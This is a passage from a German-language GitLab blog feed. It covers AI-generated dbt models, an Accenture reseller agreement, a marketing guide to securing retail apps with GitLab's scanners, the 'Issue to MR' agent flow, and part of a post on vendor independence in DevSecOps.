<p>Diese Demonstration zeigt, wie KI-gestützte Entwicklungstools wie GitLab Duo auch Data-Engineering-Workflows transformieren. Die Fähigkeit, Hunderte von Zeilen produktionsreifem Code in Minuten zu generieren – komplett mit Tests, Dokumentation und ordnungsgemäßer Struktur – stellt einen fundamentalen Wandel dar, wie wir an repetitive Entwicklungsaufgaben herangehen.</p>
<p>Indem wir KI nutzen, um die repetitiven Aspekte der dbt-Modellerstellung zu bewältigen, können sich Dateningenieure auf Aktivitäten mit höherem Wert konzentrieren, wie Datenmodellierungsstrategie, Performance-Optimierung und Implementierung von Geschäftslogik.</p>
<p><strong>Bereit, es selbst auszuprobieren?</strong> Beginne mit einem kleinen Datensatz, bereite deine Metadaten sorgfältig vor und sieh zu, wie GitLab Duo Stunden an Arbeit in Minuten automatisierter Generierung verwandelt.</p>
<blockquote>
<p><a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">Teste GitLab Duo Agent Platform noch heute.</a></p>
</blockquote>
<h2>Weiterlesen</h2>
<ul>
<li>
<p><a href="https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/">GitLab 18.3: KI-Orchestrierung im Software Engineering erweitern</a></p>
</li>
<li>
<p><a href="https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/">GitLab Duo Agent Platform Public Beta: Next-Gen KI-Orchestrierung und mehr</a></p>
</li>
</ul>
]]></content>
        <author>
            <name>Dennis van Rooijen</name>
            <uri>https://about.gitlab.com/blog/authors/dennis-van rooijen</uri>
        </author>
        <published>2025-09-16T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab und Accenture geben globale Vertriebsvereinbarung bekannt]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-and-accenture-announce-global-reseller-agreement/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-and-accenture-announce-global-reseller-agreement/"/>
        <updated>2025-09-15T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Wir freuen uns bekannt zu geben, dass GitLab und Accenture eine globale Vertriebsvereinbarung unterzeichnet haben, die Accenture als autorisierten GitLab-Vertriebspartner und Professional Services Provider etabliert. Diese Vereinbarung ermöglicht es Accenture, die vollständige DevSecOps-Plattform von GitLab direkt an Kunden über verschiedene Vertriebskanäle zu liefern, einschließlich des AWS Marketplace.</p>
<h2>Ein Meilenstein in der Zusammenarbeit</h2>
<p>Diese Zusammenarbeit kombiniert die umfassende, intelligente DevSecOps-Plattform von GitLab mit Accentures weitreichender Expertise in digitaler Transformation und Implementierungsdienstleistungen. Dies ermöglicht Organisationen, sichere Software in großem Maßstab zu entwickeln und bereitzustellen. Die globale Vertriebsvereinbarung bietet einen weltweiten Rahmen, der flexibel an lokale Bedingungen angepasst werden kann.</p>
<h2>Die Zusammenarbeit wird sich zunächst auf mehrere Schlüsselbereiche konzentrieren:</h2>
<p><strong>DevSecOps-Transformation im Unternehmensmaßstab:</strong>
Unterstützung von Organisationen bei der Modernisierung ihrer Entwicklungspraktiken und Optimierung ihres Software-Bereitstellungszyklus.</p>
<p><strong>Mainframe-Modernisierung:</strong>
Begleitung von Kunden bei der Migration von Legacy-Systemen.</p>
<p><strong>GitLab Duo mit Amazon Q:</strong>
Bereitstellung von KI-gestützter Softwareentwicklung für Organisationen, die ihre Entwicklungsgeschwindigkeit beschleunigen und gleichzeitig durchgängige Sicherheit und Compliance gewährleisten möchten.</p>
<h2>Ausblick</h2>
<p>Wir freuen uns darauf, unseren gemeinsamen Kunden dabei zu helfen, Innovationen zu beschleunigen, Entwicklungsprozesse zu optimieren und ihre Sicherheitslage zu stärken, um ihre Geschäftsziele effektiver zu erreichen.</p>
<p>Für weitere Informationen darüber, wie GitLab und Accenture Organisationen helfen können, besuche bitte <a href="https://about.gitlab.com/partners/channel-partners/#/2328213">unsere Partner-Website</a> oder kontaktiere deinen Accenture- oder GitLab-Ansprechpartner.</p>
]]></content>
        <author>
            <name>GitLab</name>
            <uri>https://about.gitlab.com/blog/authors/gitlab</uri>
        </author>
        <published>2025-09-15T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Leitfaden für das Entwickeln sicherer Retail-Apps mit GitLab]]></title>
        <id>https://about.gitlab.com/de-de/blog/a-developers-guide-to-building-secure-retail-apps-with-gitlab/</id>
        <link href="https://about.gitlab.com/de-de/blog/a-developers-guide-to-building-secure-retail-apps-with-gitlab/"/>
        <updated>2025-09-04T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Händler stehen bei der Anwendungssicherheit vor besonderen Herausforderungen – hauptsächlich weil die <strong>Angriffsfläche durch die Komplexität des modernen Handels größer ist als je zuvor</strong>. Von mobilen Apps und KI-gestützter Personalisierung bis zu Omni-Channel-Plattformen und IoT im Geschäft – jeder Berührungspunkt erhöht die Anzahl der Systeme, die gesichert und überwacht werden müssen. Eine einzelne Schwachstelle betrifft nicht nur eine Komponente, sondern kann sich auf Zahlungsabwickler, Bestandssysteme, Kundendaten und letztendlich das Markenvertrauen auswirken.</p>
<p>Traditionelle Sicherheitsansätze, die früher funktionierten, können heute nicht mehr mithalten. Sicherheitsprozesse werden oft nachträglich hinzugefügt, was Teams verlangsamt und Risiken erhöht. Aber so muss es nicht sein.</p>
<p><strong>Moderne Plattformen integrieren Sicherheit in den gesamten Entwicklungs-Lebenszyklus</strong> und machen Security zu einem nahtlosen Teil des Entwickler-Workflows, nicht zu einer Barriere für die Bereitstellung. Dieser Ansatz verwandelt Sicherheit in einen strategischen Vorteil und ermöglicht Innovation ohne Kompromisse.</p>
<p>In diesem Artikel erfährst du, wie eine integrierte DevSecOps-Plattform Retail-Teams dabei hilft, steigenden Sicherheitsanforderungen gerecht zu werden, <strong>ohne die Bereitstellung zu verlangsamen oder die Kundenerfahrung zu beeinträchtigen</strong>.</p>
<h2>Warum Retail-Sicherheit einen anderen Ansatz erfordert</h2>
<p>Im Einzelhandel geht es bei Sicherheit um mehr als nur Datenschutz – es geht um den Schutz der Kundenerfahrung, die für das Geschäftsergebnis entscheidend ist. Jede Verlangsamung, jeder Ausfall oder jede Schwachstelle kann zu Umsatzverlusten und gebrochenem Vertrauen führen. Handelsplattformen müssen online bleiben, Compliance-Standards erfüllen und sich gegen ununterbrochene Angriffe aus dem offenen Internet verteidigen. Im Gegensatz zu Unternehmenssystemen sind sie vollständig öffentlich zugänglich und haben eine viel breitere Angriffsfläche. Füge Drittanbieter-Integrationen, APIs und Legacy-Systeme hinzu, und es wird klar: Traditionelle Sicherheitsansätze reichen nicht aus.</p>
<p>Zur Komplexität kommt hinzu, dass Händler vor einzigartigen Herausforderungen stehen, die ihre Sicherheitsrisiken weiter erhöhen, darunter:</p>
<h3>Fragilität der Lieferkette und API-Wildwuchs</h3>
<p>Versandverzögerungen, globale Instabilität und vernetzte Systeme stören die Logistik. Fast die Hälfte der Händler berichtet über Probleme mit der Produktverfügbarkeit, und 25 % fehlt die Echtzeit-Bestandstransparenz, laut einer <a href="https://premierconstructionnews.com/2024/05/25/retails-revival-fluent-commerce-study-finds-93-of-uk-retailers-expect-business-growth-over-next-year-despite-economic-challenges-and-supply-chain-disruption/">Umfrage von Fluent Commerce 2024</a>. Während KI-gestützte Prognosen helfen, schaffen unsichere APIs und fragile Integrationen in der digitalen Lieferkette Angriffsvektoren.</p>
<h3>Legacy-Systeme treffen auf moderne Anforderungen</h3>
<p>Viele Händler arbeiten mit monolithischen, veralteten Systemen, die Schwierigkeiten haben, mobile Apps, IoT-Geräte und Echtzeit-Analysen sicher zu unterstützen. Ohne sichere, agile Grundlagen wird jeder neue digitale Berührungspunkt zu einer potenziellen Schwachstelle.</p>
<h3>KI- und Compliance-Komplexität</h3>
<p>KI verändert Einzelhandelserlebnisse durch personalisierte Empfehlungen und fortschrittliche Kundenverfolgungstechnologien wie Beacon-Sensoren, Gesichtserkennung und mobile App-Standortdienste, die Bewegungen und Verhalten in physischen Geschäften überwachen. Diese KI-gestützten Systeme verbessern sowohl Kundenerlebnisse als auch Nachfrageprognosen für Händler. Allerdings erfordern die <a href="https://gdpr.eu/what-is-gdpr/">DSGVO</a> (die Datenschutz-Grundverordnung der Europäischen Union) und ähnliche globale Datenschutzgesetze sichere Datenverarbeitung und transparente KI-Logik. Sicherheitsfehler können zu erheblichen Geldstrafen und dauerhaftem Reputationsschaden führen.</p>
<h3>Risiken bei kundenorientierten Automatisierungen</h3>
<p>Self-Checkouts, Kioske und Chatbots versprechen Komfort und Kosteneinsparungen, aber oft fehlt die Sicherheitshärtung. Diese Berührungspunkte werden zu Einstiegspunkten für Cyberangreifer und ermöglichen traditionellen Diebstahl durch schwache Betrugserkennung, begrenzte Überwachung und leicht manipulierbare Systeme, die Ladendiebstahl schwerer erkennbar machen.</p>
<h3>Unterschiedliche Bedrohungsflächen</h3>
<p>Händler befinden sich in einer einzigartigen Position, in der sie über mehrere Vektoren hinweg sichern müssen, die oft von global verteilten Teams gepflegt werden (je nach Größe der Organisation). E-Commerce-Plattformen, mobile Anwendungen, Point-of-Sale-(POS-)Systeme und IoT-Geräte im Geschäft bieten jeweils einen Einstiegspunkt für Bedrohungsakteure mit einzigartigen Eigenschaften, die verschiedene Sicherheitslösungen erfordern, um Widerstandsfähigkeit zu gewährleisten.</p>
<p>Dies schafft ein einzigartiges Paradoxon: Händler müssen schneller als je zuvor innovieren und gleichzeitig höhere Sicherheitsstandards als die meisten Branchen einhalten, während sie nahtlose Kundenerlebnisse über jeden Kanal hinweg liefern.</p>
<h2>Warum traditionelle AppSec im Einzelhandel versagt</h2>
<p>Die meisten Händler verlassen sich auf unverbundene Sicherheitstools wie statische Anwendungssicherheitstests (SAST), Lizenzprüfer und Schwachstellenbewertungen, die isoliert arbeiten. Dieser fragmentierte Ansatz schafft kritische Lücken:</p>
<ul>
<li><strong>Begrenzte Lebenszyklusabdeckung:</strong> Tools konzentrieren sich auf enge Entwicklungsphasen und verpassen Lieferketten- und Laufzeitrisiken.</li>
<li><strong>Integrationsherausforderungen:</strong> Lücken in Legacy-Systemen und schlechte Tool-Konnektivität schaffen Sicherheitsblindpunkte zwischen Teams und Lösungen.</li>
<li><strong>Manuelle Prozesse:</strong> Sicherheitsübergaben schaffen Engpässe, und Probleme werden oft spät entdeckt, wenn sie kostspieliger zu beheben sind.</li>
<li><strong>Team-Silos:</strong> Sicherheit bleibt isoliert von täglichen Entwicklungsworkflows und getrennt von Compliance- und IT-Teams.</li>
</ul>
<h3>Der Weg nach vorn</h3>
<p>In der heutigen Einzelhandelslandschaft kann Sicherheit Innovation nicht verlangsamen. Die direkte Einbettung in den Entwicklungslebenszyklus und die Zusammenführung aller Teams auf einer einheitlichen DevSecOps-Plattform macht Sicherheit zu einem strategischen Vorteil statt zu einem Engpass.</p>
<h3>Eine DevSecOps-Plattform ermöglicht sichere Innovation im großen Maßstab</h3>
<p>GitLab bietet das umfassendste Set an Sicherheitsscannern zur Maximierung der Anwendungsabdeckung, einschließlich:</p>
<ul>
<li><a href="https://docs.gitlab.com/user/application_security/sast/">SAST</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/dast/">DAST</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/">Abhängigkeitsscannen</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/container_scanning/">Container-Scannen</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/secret_detection/">Geheimnis-Erkennung</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/iac_scanning/">Infrastructure-as-Code-Scannen</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/api_fuzzing/">Fuzz-Testing</a></li>
</ul>
<p>Aber bei Sicherheit geht es nicht nur ums Scannen. Es geht darum, <a href="https://docs.gitlab.com/user/compliance/compliance_frameworks/">die richtigen Richtlinien durchzusetzen</a>, um sicherzustellen, dass Schwachstellen konsistent identifiziert und behoben werden. Mit GitLab erhalten Sicherheitsteams volle Kontrolle, um sicherzustellen, dass der richtige Scan zur richtigen Zeit auf der richtigen Anwendung ausgeführt wird und dass die Ergebnisse behandelt werden, bevor sie in die Produktion gelangen.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/x2dteagn1z8tjfahmobv.png" alt="Sicherheitsscans in Pipeline"></p>
<p>&lt;center&gt;&lt;i&gt;Sicherheitsscans laufen in der CI/CD-Pipeline und liefern sofortiges Feedback zu potenziellen Schwachstellen.&lt;/i&gt;&lt;/center&gt;
&lt;p&gt;&lt;/p&gt;</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/npsgvu5e0sd2kpoxug7f.png" alt="Der Schwachstellenbericht zeigt alle Schwachstellen für ein bestimmtes Projekt oder eine Gruppe."></p>
<p>&lt;center&gt;&lt;i&gt;Der Schwachstellenbericht zeigt alle Schwachstellen für ein bestimmtes Projekt oder eine Gruppe.&lt;/i&gt;&lt;/center&gt;</p>
<h3>Eine Plattform für Dev, Sec und Ops</h3>
<p>Retail-Teams verschwenden unzählige Stunden damit, zwischen Tools zu wechseln, Daten manuell zu übertragen, Informationen zwischen Systemen aufgrund fragiler Integrationen zu verlieren und widersprüchliche Berichte abzugleichen. Eine einheitliche Plattform beseitigt diese Reibung:</p>
<ul>
<li><strong>Einzige Quelle der Wahrheit</strong> für Quellcode, Pipelines, Schwachstellen und Compliance</li>
<li><strong>Kein Integrationsaufwand</strong> oder Tool-Kompatibilitätsprobleme</li>
<li><strong>Konsistente Workflows</strong> über alle Teams und Projekte</li>
</ul>
<p>Das Ergebnis? Teams verbringen Zeit mit der Lösung von Problemen anstatt mit der Verwaltung von Tools.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988739/d2nzltd1a2gypywzhv5f.png" alt="Compliance-Center, wo Sie Compliance-Frameworks für Ihre Projekte durchsetzen können."></p>
<p>&lt;center&gt;&lt;i&gt;Im Compliance-Center kannst du Compliance-Frameworks für deine Projekte durchsetzen.&lt;/i&gt;&lt;/center&gt;
&lt;p&gt;&lt;/p&gt;</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/szoocztazaup2avkaxhu.png" alt="Im Merge Request benötigen Entwickler(innen) eine Genehmigung, wenn Risiken erkannt werden, bevor Code gemergt wird, gemäß definierten Richtlinien."></p>
<p>&lt;center&gt;&lt;i&gt;Im Merge Request benötigen Entwickler(innen) eine Genehmigung, wenn Risiken erkannt werden, bevor Code gemergt wird, gemäß definierten Richtlinien.&lt;/i&gt;&lt;/center&gt;</p>
<h3>Geteilte Sicherheitsverantwortung, keine Silos</h3>
<p>Die erfolgreichsten Retail-Sicherheitsprogramme machen Sicherheit zur Verantwortung aller, nicht nur zur Last des Sicherheitsteams.</p>
<p><strong>Entwickler(innen)-Ermächtigung</strong></p>
<p>Sicherheits- und Compliance-Anleitungen erscheinen direkt in Merge Requests, wodurch es unmöglich wird, kritische Probleme zu übersehen. Entwickler(innen) erhalten sofortiges Feedback zu jedem Commit mit klaren Erklärungen zu Risiken und Behebungsschritten. Zum Beispiel helfen KI-gestützte Schwachstellenerklärung und Schwachstellenbehebung Entwickler(inne)n, Sicherheitsprobleme unabhängig zu verstehen und zu beheben, wodurch Engpässe reduziert und Sicherheitsexpertise im gesamten Team aufgebaut wird.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988741/uenrjye3arfg9wjtwss1.png" alt="Schwachstellenseite mit Schaltfläche zur Erklärung oder Lösung von Problemen mit KI. Hilft, die Wissenslücke mit KI zu überbrücken."></p>
<p>&lt;center&gt;&lt;i&gt;Schwachstellenseite mit Schaltfläche zur Erklärung oder Lösung von Problemen mit KI. Hilft, die Wissenslücke mit KI zu überbrücken.&lt;/i&gt;&lt;/center&gt;</p>
<p>&lt;p&gt;&lt;/p&gt;</p>
<p><strong>Automatisierte Compliance</strong></p>
<p>Generiere Audit-Berichte, verfolge die Lizenznutzung und pflege eine Software-Stückliste (SBOM) ohne manuellen Aufwand.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988739/gpakhdvkegloqxhaeje8.png" alt="GitLabs automatisierter Abhängigkeitsbericht bietet eine umfassende SBOM, die alle Projektabhängigkeiten mit ihrem Schwachstellenstatus, Lizenzdetails und Sicherheitsergebnissen für vollständige Transparenz und Compliance anzeigt."></p>
<p>&lt;center&gt;&lt;i&gt;GitLabs automatisierter Abhängigkeitsbericht bietet eine umfassende SBOM, die alle Projektabhängigkeiten mit ihrem Schwachstellenstatus, Lizenzdetails und Sicherheitsergebnissen für vollständige Transparenz und Compliance anzeigt.&lt;/i&gt;&lt;/center&gt;
&lt;p&gt;&lt;/p&gt;</p>
<p>Dieser Ansatz verwandelt Sicherheit von einem HIndernis, das die Bereitstellung verlangsamt, in ein Fundament, das selbstbewusste, schnelle Innovation ermöglicht.</p>
<h2>Plattform vs. Einzeltools: Was Händler wissen müssen</h2>
<table>
<thead>
<tr>
<th>Fähigkeit</th>
<th>Einzeltools</th>
<th>GitLab DevSecOps-Plattform</th>
</tr>
</thead>
<tbody>
<tr>
<td>SAST/DAST/API/Fuzz</td>
<td>Getrennt &amp; begrenzt</td>
<td>Vollständig integriert</td>
</tr>
<tr>
<td>Lizenz- &amp; Abhängigkeitsscannen</td>
<td>Oft externe Tools</td>
<td>Eingebaut</td>
</tr>
<tr>
<td>Compliance- &amp; Audit-Berichte</td>
<td>Manuell oder unverbunden</td>
<td>Automatisiert mit Nachverfolgbarkeit</td>
</tr>
<tr>
<td>Zusammenarbeit zwischen Teams</td>
<td>Fragmentiert</td>
<td>Einheitliche Umgebung</td>
</tr>
<tr>
<td>End-to-End-Sichtbarkeit</td>
<td>Tool-spezifisch</td>
<td>Vollständiger Lebenszyklus + Wertstrom-Ansicht</td>
</tr>
</tbody>
</table>
<h2>Das Fazit: Sicherheitsexzellenz treibt den Einzelhandelserfolg voran</h2>
<p>Im Einzelhandel geht es bei Sicherheit nicht nur um Datenschutz, sondern um den Schutz der Kundenerfahrung, die den Umsatz antreibt. Wenn Sicherheit Veröffentlichungen verlangsamt oder Schwachstellen schafft, wirkt sich das direkt auf den Umsatz aus. Kunden erwarten jedes Mal sichere, nahtlose Erlebnisse.</p>
<p>GitLabs integrierte DevSecOps-Plattform hilft Händlern:</p>
<ul>
<li><strong>Schneller bereitzustellen ohne Sicherheitskompromisse</strong> mit automatisierten Scans, die Probleme erkennen, bevor Kunden es tun.</li>
<li><strong>Compliance-Anforderungen mühelos zu erfüllen</strong> durch integrierte Berichterstattung für DSGVO, PCI-DSS und Branchenstandards.</li>
<li><strong>Sicherheitstoolkosten erheblich zu senken</strong> durch Ersatz mehrerer Einzellösungen mit einer Plattform.</li>
<li><strong>Entwickler(innen) zu Sicherheitsbefürwortern zu machen</strong> mit Anleitung und Automatisierung, nicht mit Hindernissen.</li>
</ul>
<p>Teste hier einige der Sicherheitsfunktionen von GitLab:</p>
<ul>
<li><a href="https://gitlab.navattic.com/ve-vr-short">Schwachstellen mit GitLab Duo beheben</a></li>
<li><a href="https://gitlab.navattic.com/gitlab-scans">Scans zur Pipeline hinzufügen</a></li>
<li><a href="https://gitlab.navattic.com/compliance-short">Compliance-Frameworks</a></li>
<li><a href="https://gitlab.navattic.com/advanced-sast-short">Erweiterte SAST</a></li>
</ul>
<blockquote>
<p>Bereit loszulegen? Entdecke, wie GitLab Ultimate mit Duo Enterprise deine Retail-Sicherheitsstrategie mit einer <a href="https://about.gitlab.com/free-trial/">kostenlosen Testversion</a> optimieren kann.</p>
</blockquote>
]]></content>
        <published>2025-09-04T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Vibe Coding mit GitLab Duo Agent Platform: Issue to MR]]></title>
        <id>https://about.gitlab.com/de-de/blog/vibe-coding-with-gitlab-duo-agent-platform-issue-to-mr-flow/</id>
        <link href="https://about.gitlab.com/de-de/blog/vibe-coding-with-gitlab-duo-agent-platform-issue-to-mr-flow/"/>
        <updated>2025-09-03T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a> (jetzt in der Beta verfügbar) bietet ein Framework für KI-Agenten zur Interaktion mit GitLab-Ressourcen wie Issues und Merge Requests und ermöglicht komplexe, mehrstufige Aufgaben vom Konzept bis zur Fertigstellung. Agent Platform bietet dialogorientierte (<a href="https://about.gitlab.com/de-de/blog/gitlab-duo-chat-gets-agentic-ai-makeover/">Agentic Chat</a>) und automatisierte (<a href="https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/">Agent Flows</a>) Erfahrungen zur Unterstützung bei der Code-Generierung, Modernisierung, Behebung von Sicherheitslücken und Projektanalyse – alles mit Enterprise-Grade-Sicherheit und anpassbaren Kontrollen.</p>
<p>&quot;Issue to MR&quot; ist ein Agent Flow, der die Umwandlung eines klar definierten Issues in einen Draft Merge Request (MR) vereinfacht. Der Flow analysiert die Beschreibung und Anforderungen eines Issues, öffnet einen Draft MR, der mit dem Issue verknüpft ist, erstellt einen Entwicklungsplan und schlägt eine Implementierung vor – direkt aus der GitLab-Oberfläche.</p>
<h2>Die Herausforderung für Entwickler</h2>
<p>Produktanpassungen wie das Umgestalten eines UI-Layouts, das Anpassen der Komponentengröße oder kleine Workflow-Änderungen sollten nicht stundenlange Einrichtungsarbeiten erfordern. Doch Entwickler finden sich in einem frustrierenden Kreislauf wieder: Sie durchsuchen Codebasen nach den richtigen Dateien, erstellen Branches, fügen verstreute Änderungen über mehrere Komponenten zusammen und navigieren durch komplexe Review-Prozesse. Und das alles, bevor sie überhaupt sehen können, ob ihre Lösung funktioniert. Der Entwicklungsaufwand verwandelt einfache Iterationen in zeitaufwändige Aufgaben, verlangsamt Feedback-Schleifen und lässt kleine Produktverbesserungen wie große Projekte erscheinen.</p>
<h2>Wie der Issue to MR Flow eine Anwendungsaktualisierung beschleunigt</h2>
<p>Du musst zuerst diese Voraussetzungen erfüllen, bevor du den Issue to MR Flow nutzen kannst.</p>
<p>Voraussetzungen:</p>
<ul>
<li>Ein bestehendes Issue mit klaren Anforderungen und Akzeptanz-Kriterien. Dies hilft GitLab Duo Agent Platform besser zu verstehen, was du erreichen möchtest, und verbessert die Qualität deiner Ausgabe.</li>
<li>Projektzugriff mit mindestens Developer-Berechtigungen, da der Flow Änderungen am Quellcode deines Projekts vornimmt.</li>
<li>GitLab Duo Agent Platform für deine Gruppe oder dein Projekt aktiviert, mit erlaubten Flows. Gehe dazu in deinem Projekt zu <strong>Einstellungen &gt; Allgemein &gt; GitLab Duo &gt; Flow-Ausführung erlauben</strong> und aktiviere es. GitLab ist bestrebt, Sicherheitsvorkehrungen zu bieten, daher erfordern Agentic-AI-Funktionen das Aktivieren dieser Schalter, um sensible Projekte zu schützen und sicherzustellen, dass nur die gewünschten Projekte für GitLab Duo Agent Platform zugänglich sind.</li>
</ul>
<p>Sobald du alle oben genannten Voraussetzungen erfüllt hast, kannst du diese Schritte befolgen, um den Issue to MR Flow zu nutzen:</p>
<ol>
<li>Erstelle ein Projekt-Issue, das beschreibt, was GitLab Duo Agent Platform für dich erreichen soll. Gib so viele Details wie möglich in der Issue-Beschreibung an. Falls das Issue bereits existiert, öffne es über <strong>Plan &gt; Issues</strong> und klicke auf das Issue, das die gewünschte Aktualisierung beschreibt. Drücke dich so präzise wie möglich aus.</li>
<li>Klicke unter der Issue-Überschrift auf <strong>Generate MR with Duo</strong>, um den Flow zu starten.</li>
<li>Wenn du den Fortschritt der Agenten bei der Implementierung deines Issues verfolgen möchtest, gehe zu <strong>Automate &gt; Agent sessions</strong>, um das Live-Session-Log zu sehen, während Agenten planen und Änderungen vorschlagen.</li>
<li>Wenn die Pipeline abgeschlossen ist, erscheint ein Link zum MR in der Issue-Aktivität. Öffne ihn, um die Zusammenfassung und dateibasierte Änderungen zu überprüfen.</li>
<li>Wenn du die von GitLab Duo Agent Platform vorgeschlagenen Aktualisierungen lokal validieren möchtest, kannst du den Branch auf deinen Laptop ziehen, deine App erstellen und ausführen und überprüfen, ob die Aktualisierung wie erwartet funktioniert. Falls nötig, nimm Änderungen im MR vor und fahre mit dem normalen Review fort.</li>
<li>Wenn du mit allen vorgeschlagenen Anwendungsaktualisierungen zufrieden bist, merge den MR in den Main Branch.</li>
</ol>
<h2>Warum der Issue to MR Flow gut für Anwendungsänderungen funktioniert</h2>
<p>Der Issue to MR Flow schlägt Code-Änderungen vor und aktualisiert den MR direkt, sodass du weniger Zeit mit der Dateisuche verbringst und nur das Ergebnis bewerten und überprüfen musst. Zusätzlich wird der MR automatisch mit dem ursprünglichen Issue verknüpft, was den Kontext für Reviewer und Stakeholder klar hält. Schließlich kannst du die Agent-Session überwachen, um zu verstehen, was bei jedem Schritt passiert.</p>
<h2>Vorteile von GitLab Duo Agent Platform</h2>
<p>GitLab Duo Agent Platform ist <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/">eine agentische Orchestrierungsschicht</a>, die <strong>vollständigen Projektkontext</strong> mitbringt, einschließlich Planung, Codierung, Erstellung, Sicherung, Bereitstellung und Überwachung, sodass Agenten im gesamten Software-Entwicklungslebenszyklus (SDLC) helfen können, nicht nur bei der Code-Bearbeitung.</p>
<ul>
<li>Einheitliches Datenmodell: GitLab Duo Agents arbeiten mit GitLabs einheitlichen SDLC-Daten und ermöglichen qualitativ hochwertigere Entscheidungen und Zusammenarbeit bei Aufgaben – auch bei nicht codebezogenen.</li>
<li>Sicherheit und Compliance sind integriert: GitLab Duo Agents laufen innerhalb von Enterprise-Sicherheitsvorkehrungen und sind auch in stark regulierten oder Offline-/Air-Gap-Umgebungen nutzbar.</li>
<li>Interoperabilität und Erweiterbarkeit: Orchestriere Flows über Anbieter und Tools hinweg; verbinde externe Daten über <a href="https://about.gitlab.com/topics/ai/model-context-protocol/">MCP</a>/A2A für reicheren Kontext.</li>
<li>Skaliere die Zusammenarbeit: GitLab Duo Agents arbeiten in der GitLab-UI und IDEs und ermöglichen Viele-zu-Viele-Mensch-Agent-Zusammenarbeit.</li>
<li>Auffindbar und teilbar: Finde und teile Agents und Flows in einem zentralisierten AI-Katalog.</li>
</ul>
<h2>Probiere den Issue to MR Flow noch heute aus</h2>
<p>Für Anwendungsaktualisierungen, wie eine kleine UI-Anpassung, hilft dir der Issue to MR Flow, schnell von einem klaren Issue zu einem überprüfbaren MR zu gelangen, mit Fortschritt, den du überwachen kannst, und Änderungen, die du validieren und über deinen Standardworkflow mergen kannst. Er bewahrt den Kontext, reduziert Übergaben und lässt dein Team sich auf Qualität statt auf Routinearbeit konzentrieren.</p>
<p>Sieh dir den Issue to MR Flow in Aktion an:</p>
<p>&lt;!-- blank line --&gt;</p>
<p>&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/BrrMHN4gXF4?si=J7beTgWOLxvS4hOw&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt;
&lt;/figure&gt;
&lt;!-- blank line --&gt;</p>
<blockquote>
<p>Probiere den Issue to MR Flow auf GitLab Duo Agent Platform jetzt mit einer <a href="https://about.gitlab.com/de-de/free-trial/">kostenlosen Testversion von GitLab Ultimate mit Duo Enterprise</a> aus.</p>
</blockquote>
]]></content>
        <author>
            <name>Cesar Saavedra</name>
            <uri>https://about.gitlab.com/blog/authors/cesar-saavedra</uri>
        </author>
        <published>2025-09-03T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Warum Unabhängigkeit in DevSecOps wichtiger ist denn je]]></title>
        <id>https://about.gitlab.com/de-de/blog/why-enterprise-independence-matters-more-than-ever-in-devsecops/</id>
        <link href="https://about.gitlab.com/de-de/blog/why-enterprise-independence-matters-more-than-ever-in-devsecops/"/>
        <updated>2025-09-02T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Seit über einem Jahrzehnt setzt sich GitLab für Transparenz, Unabhängigkeit und die Priorisierung von Entwickler(inne)n ein. Heute ist das wichtiger denn je, während sich die Branche weiterentwickelt. Unternehmensführungen stellen kritische Fragen: Wer kontrolliert letztendlich die Entwicklungsinfrastruktur? Wie wird der Code in KI-Systemen verwendet? Was passiert, wenn sich Anbieter-Prioritäten von kritischen Anforderungen wegbewegen?</p>
<p>Letzten Monat <a href="https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/">kündigten wir GitLab 18.3 an</a>, die neueste Version unserer KI-nativen DevSecOps-Plattform. Agent Insights, Teil der GitLab Duo Agent Platform, bietet Einblicke in die Entscheidungsprozesse der Agenten. Erweiterte KI-Modellunterstützung bedeutet keine Anbieterabhängigkeit. Verbesserte Governance-Kontrollen ermöglichen Compliance über mehrere Rechtsräume hinweg.</p>
<p>Das sind nicht nur Funktionen. Es sind Beispiele für Transparenz, Unabhängigkeit und den entwicklerorientierten Ansatz, der GitLab definiert. So setzt sich diese Strategie in der Praxis um.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1115249475?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Who is GitLab_Robin_090225_FINAL&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
